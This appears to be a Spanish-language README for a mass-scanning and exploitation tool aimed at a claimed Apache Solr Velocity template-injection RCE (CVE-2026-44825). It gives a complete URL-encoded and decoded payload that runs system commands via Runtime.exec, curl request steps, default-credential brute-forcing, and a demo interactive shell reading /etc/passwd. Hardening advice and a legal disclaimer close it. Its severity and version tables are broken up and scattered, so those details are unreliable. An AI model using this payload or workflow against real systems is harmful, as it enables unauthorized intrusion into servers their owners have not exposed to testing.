
☄️ Marco de reconocimiento y explotación masiva para Apache Solr CVE-2026-44825 — Inyección de plantillas Velocity a RCE
CVE-2026-44825 es una vulnerabilidad de severidad crítica en Apache Solr que permite a los atacantes lograr Ejecución Remota de Código (RCE) no autenticada mediante inyección de plantillas Velocity.
El endpoint /select de Apache Solr acepta un parámetro wt=velocity que renderiza plantillas Velocity proporcionadas por el usuario. Cuando el Velocity Response Writer está habilitado (o puede habilitarse mediante la API de configuración), un atacante puede inyectar una plantilla maliciosa que invoque java.lang.Runtime.exec(), ejecutando comandos arbitrarios del sistema con los privilegios del proceso de Solr.
| Vector | Severidad | Impacto |
|---|---|---|
| RCE no autenticada |
Apache Solr incluye Apache Velocity como un motor de plantillas opcional para el renderizado de respuestas. La vulnerabilidad reside en el VelocityResponseWriter de Solr, que procesa parámetros de plantilla controlados por el usuario sin una sanitización adecuada, permitiendo la invocación directa de las APIs de reflexión de Java:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
Nota: Las comprobaciones de versión se realizan automáticamente analizando la respuesta JSON de
/admin/info/system.
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Solo bibliotecas estándar +
requests. Sin dependencias exóticas.
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
Los 3 objetivos fueron detectados. La instancia 9.4.1 está marcada como vulnerable con Basic Auth habilitado.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
La credencial predeterminada
admin:SolrRocksotorga acceso a las APIs de administración de Solr. Se descubrieron cuatro colecciones.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Acceso completo a una shell interactiva con los privilegios del proceso Java de Solr.
Para investigadores que quieran comprender el intercambio HTTP en bruto:
Paso 1 — Verificar que Solr es accesible
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
Paso 2 — Listar las colecciones disponibles
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
Paso 3 — Ejecutar comandos mediante inyección de plantillas Velocity
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
Payload de plantilla Velocity decodificado:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Respuesta:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ RECON PHASE │ EXPLOIT PHASE │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detect │──┼──▶ Brute- │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ force │ │ Template Inj. │ │
│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │
│ │ │ │ │ │
│ ▼ │ ▼ ▼ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Version │ │ │ Default │ │ Runtime.exec() │ │
│ │ Check │ │ │ Creds │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Auth │ │ │ Interactive Shell (--rce) │ │
│ │ Probe │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
Target URL
│
▼
┌─────────────┐
│ normalize │ → add http:// + /solr if missing
└──────┬──────┘
│
▼
┌─────────────┐ No
│ GET /admin/ ├──────── Skip target
│ info/system │
└──────┬──────┘
│ Yes (200/401)
▼
┌─────────────┐
│ Parse JSON │ → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
│
├── Not vuln → Report, move on
│
▼ Vuln
┌─────────────┐
│ Auth check │ → /admin/cores?action=STATUS
│ (3-stage) │ → /admin/collections?action=LIST
└──────┬──────┘
│
├── No auth → Try unauthenticated listing
│
▼ Auth detected
┌─────────────┐
│ Brute-force │ → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
│
├── No match → Report vuln (no creds)
│
▼ Creds found
┌─────────────┐
│ List cols / │ → /admin/collections or /admin/cores
│ cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Velocity template → Runtime.exec()
└─────────────┘
bool(Response[401]) == FalseUna trampa sutil de Python descubierta durante el desarrollo:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← 4xx/5xx responses evaluate to False!
Esto significa que cada comprobación if response and ... omite silenciosamente las respuestas de error — incluso cuando se quiere manejar específicamente el 401. La solución es usar siempre if response is not None and ...:
# ❌ Broken — 401 responses are silently skipped
if r and r.status_code == 401:
auth = True
# ✅ Correct — explicitly check for None
if r is not None and r.status_code == 401:
auth = True
El escáner utiliza una estrategia de detección de 3 niveles para minimizar los falsos negativos:
'solr' in response.text.lower()
Detecta Solr en claves JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), paneles HTML y páginas de error — sin distinguir entre mayúsculas y minúsculas.
'solr' in response.headers.get('Server', '').lower()
Algunos despliegues incluyen "Solr" en la cabecera HTTP Server.
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401
Detecta despliegues donde /admin/info/system es público pero las operaciones de administración requieren autenticación.
Dos patrones regex para mayor robustez:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Si está ejecutando Apache Solr, aplique estas medidas de endurecimiento inmediatamente:
# Upgrade to a patched version
# Solr 9.x → 9.10.2 or later
# Solr 10.x → 10.0.1 or later
<!-- In solrconfig.xml — REMOVE or COMMENT OUT: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restrict access to Solr admin endpoints at the network level
# Only allow trusted IP ranges to access ports 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Use this scanner against your OWN infrastructure
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS
Este software se proporciona únicamente con fines educativos y para investigación de seguridad legítima. Está pensado para ser utilizado por:
- 🛡️ Profesionales de seguridad que realizan pruebas de penetración autorizadas
- 🏢 Organizaciones que auditan su propia infraestructura de Apache Solr
- 🔬 Investigadores que estudian técnicas de explotación de vulnerabilidades
- 🎓 Estudiantes que aprenden sobre seguridad de aplicaciones web
❌ NO puede utilizar este software para:
- Acceder a sistemas informáticos sin autorización escrita explícita
- Comprometer, dañar o interrumpir sistemas de los que no es propietario
- Participar en actividades ilegales de cualquier tipo
⚖️ Aviso Legal
El acceso no autorizado a sistemas informáticos viola leyes que incluyen, entre otras:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unión Europea: Directiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
El/los autor(es) NO asumen NINGUNA RESPONSABILIDAD por el mal uso, daños o consecuencias legales derivados del uso de esta herramienta. Al utilizar este software, usted reconoce que es el único responsable de sus acciones y acepta cumplir con todas las leyes aplicables.
⚡ Construido con precisión para la comunidad de investigación en seguridad ⚡
Apache® y Apache Solr® son marcas registradas de Apache Software Foundation.
Este proyecto no está afiliado ni respaldado por Apache Software Foundation.
| Compromiso total del sistema |
| RCE autenticada | 8.8 (Alta) | Ejecución de código tras la autenticación |
| Divulgación de información | 5.3 (Media) | Enumeración de cores/colecciones |
| Versión de Apache Solr | Estado | Notas |
|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerable | Explotación activa en la naturaleza |
| 10.0.0 | 🔴 Vulnerable | La versión inicial 10.x está afectada |
| 10.0.1+ | 🟢 Parcheada | Corrección retroportada |
| 9.10.2+ | 🟢 Parcheada | Versión de parche disponible |
| ≤ 9.3.x | 🟢 No afectada | Velocity Response Writer no presente |
| 8.x (todas) | 🟢 No afectada | Sin soporte de Velocity |
🔍 Reconocimiento
|
💀 Explotación
|
| Recurso | Enlace |
|---|
| Entrada NVD | CVE-2026-44825 |
| Seguridad de Apache Solr | solr.apache.org/security |
| Documentación de Velocity de Solr | Velocity Response Writer |
| Inyección de Plantillas OWASP | Inyección de Plantillas del Lado del Servidor |